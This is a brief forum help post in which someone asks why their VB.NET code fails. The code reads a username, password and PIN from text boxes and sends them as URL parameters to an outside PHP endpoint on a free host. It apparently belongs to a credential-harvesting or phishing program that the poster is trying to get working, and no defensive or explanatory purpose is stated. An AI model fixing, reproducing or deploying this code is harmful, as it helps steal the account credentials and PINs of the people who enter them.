VS 2010 Help! VB code wont work

I have a long code and everything works but this

Dim user As String = TextBox1.Text
Dim pass As String = TextBox2.Text
Dim pn As String = TextBox3.Text
Dim link As String = "http://suddencsb.comlu.com/send.php"
Dim req As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create(link & "?username=" & user & "?password=" & pass & "&pin=" & pn)
Dim res As System.Net.HttpWebResponse = req.GetResponse()